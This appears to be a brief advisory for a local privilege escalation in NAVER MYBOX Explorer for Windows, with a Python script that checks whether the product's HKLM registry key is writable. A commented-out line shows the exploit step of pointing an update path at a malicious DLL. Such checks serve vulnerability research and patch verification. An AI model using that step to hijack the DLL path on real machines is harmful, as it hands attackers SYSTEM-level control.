NAVER MYBOX Explorer for Windows before 3.0.11.160 allows a local attacker to escalate privileges to NT AUTHORITY\SYSTEM via registry manipulation due to improper privilege checks.
The following code is for security research and authorized testing only.
python
# Disclaimer: This code is for educational purposes only to demonstrate the vulnerability concept. It does not contain a malicious payload.
import winreg
# Concept: Check if the registry key is writable by a low-privileged user
def check_vulnerability():
key_path = r"SOFTWARE\NAVER\MYBOX"
try:
# Attempt to open the key with write access
key = winreg.OpenKey(winreg.HKEY_LOCAL_MACHINE, key_path, 0, winreg.KEY_WRITE)
print("[+] Registry key is writable. Vulnerability likely exists.")
# In a real exploit, an attacker would write a path to a malicious DLL here
# winreg.SetValueEx(key, "UpdatePath", 0, winreg.REG_SZ, "C:\\malicious\\evil.dll")
winreg.CloseKey(key)
except PermissionError:
print("[-] Access denied. Registry key is protected.")
except WindowsError:
print("[-] Registry key not found.")
if __name__ == "__main__":
check_vulnerability()